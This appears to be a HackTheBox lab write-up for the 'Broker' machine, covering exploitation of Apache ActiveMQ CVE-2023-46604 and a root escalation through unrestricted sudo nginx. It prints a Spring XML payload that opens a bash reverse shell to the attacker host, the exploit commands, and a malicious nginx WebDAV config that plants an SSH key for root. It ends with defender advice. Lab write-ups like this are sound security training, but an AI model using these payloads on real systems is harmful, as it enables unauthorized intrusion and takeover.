EASY LINUX CVE-2023-46604
Broker
April 06, 2026 10 min read CVE-2023-46604
ActiveMQDeserializationRCE
Target IP
10.129.4.20
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

Wide attack surface — ActiveMQ exposes multiple ports for different protocols. Port 8161 is the web console; 61616 is the OpenWire protocol port and the actual exploit target.

$ nmap -sC -sV -oN nmap/initial 10.129.4.20
22/tcp    open  ssh        OpenSSH 8.9p1
80/tcp    open  http       nginx 1.18.0
|_http-auth: HTTP 401 Authorization Required
1883/tcp  open  mqtt       Eclipse Mosquitto
5672/tcp  open  amqp       Apache ActiveMQ
8161/tcp  open  http       Jetty 9.4.39.v20210325 (ActiveMQ Web Console)
61613/tcp open  stomp
61616/tcp open  apachemq   ActiveMQ OpenWire transport
  

Port 80 returned a 401 — tried admin/admin and it worked. That's the nginx proxy to the ActiveMQ web console. Port 8161 confirmed the version: ActiveMQ 5.15.15.

Enumeration

CVE-2023-46604: Apache ActiveMQ 5.x (up to 5.15.16, 5.16.7, 5.17.6, 5.18.3) has a critical RCE in the OpenWire protocol implementation. A specially crafted ExceptionResponse packet on port 61616 triggers a ClassPathXmlApplicationContext instantiation, loading a Spring XML configuration from an attacker-specified URL. No authentication required.

CVE-2023-46604 — CVSS 10.0
Unauthenticated RCE via OpenWire protocol. The broker instantiates a Spring ApplicationContext from an attacker-controlled URL, executing whatever beans are defined in the XML — including ProcessBuilder for command execution.

Foothold

The exploit requires hosting a Spring XML file that triggers command execution when loaded. I created a poc.xml to call a reverse shell:

# poc.xml — Spring XML that executes a reverse shell via ProcessBuilder
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans
   http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/10.10.14.X/4444 0&gt;&amp;1</value>
            </list>
        </constructor-arg>
    </bean>
</beans>
  
# serve the XML and listen for the callback
$ python3 -m http.server 8080 &
$ nc -lvnp 4444 &

# run the exploit (github.com/X1r0z/ActiveMQ-RCE or rapid7/metasploit-framework)
$ python3 exploit.py -i 10.129.4.20 -p 61616 -u http://10.10.14.X:8080/poc.xml
Sending payload...
  
connect to [10.10.14.X] from (UNKNOWN) [10.129.4.20] 45832
activemq@broker:/opt/apache-activemq-5.15.15/bin$ id
uid=1001(activemq) gid=1001(activemq) groups=1001(activemq)
  

Privilege Escalation

activemq@broker:~$ sudo -l
User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
  

sudo nginx with no restrictions. I can start nginx with a custom config file. The plan: create a config that runs nginx as root, serves the entire filesystem over HTTP with WebDAV PUT enabled — then use PUT to write my public key into /root/.ssh/authorized_keys.

# generate SSH key pair
activemq@broker:~$ ssh-keygen -t rsa -f /tmp/hax -N ""

# malicious nginx config
activemq@broker:~$ cat > /tmp/evil.conf << 'EOF'
user root;
events { worker_connections 1024; }
http {
    server {
        listen 1337;
        root /;
        dav_methods PUT;
    }
}
EOF

activemq@broker:~$ sudo nginx -c /tmp/evil.conf

# create authorized_keys directory and write our pubkey as root
activemq@broker:~$ curl -s -X PUT http://localhost:1337/root/.ssh/authorized_keys \
  --upload-file /tmp/hax.pub

activemq@broker:~$ ssh -i /tmp/hax root@localhost
root@broker:~# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

User Flag
/home/activemq/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Upgrade ActiveMQ to a patched version immediately. Firewall port 61616 from all untrusted networks — it only needs to be accessible to your application servers. Never grant unrestricted sudo access to nginx or any web server binary; if needed, restrict it to specific config files with a hardened template.
← All Posts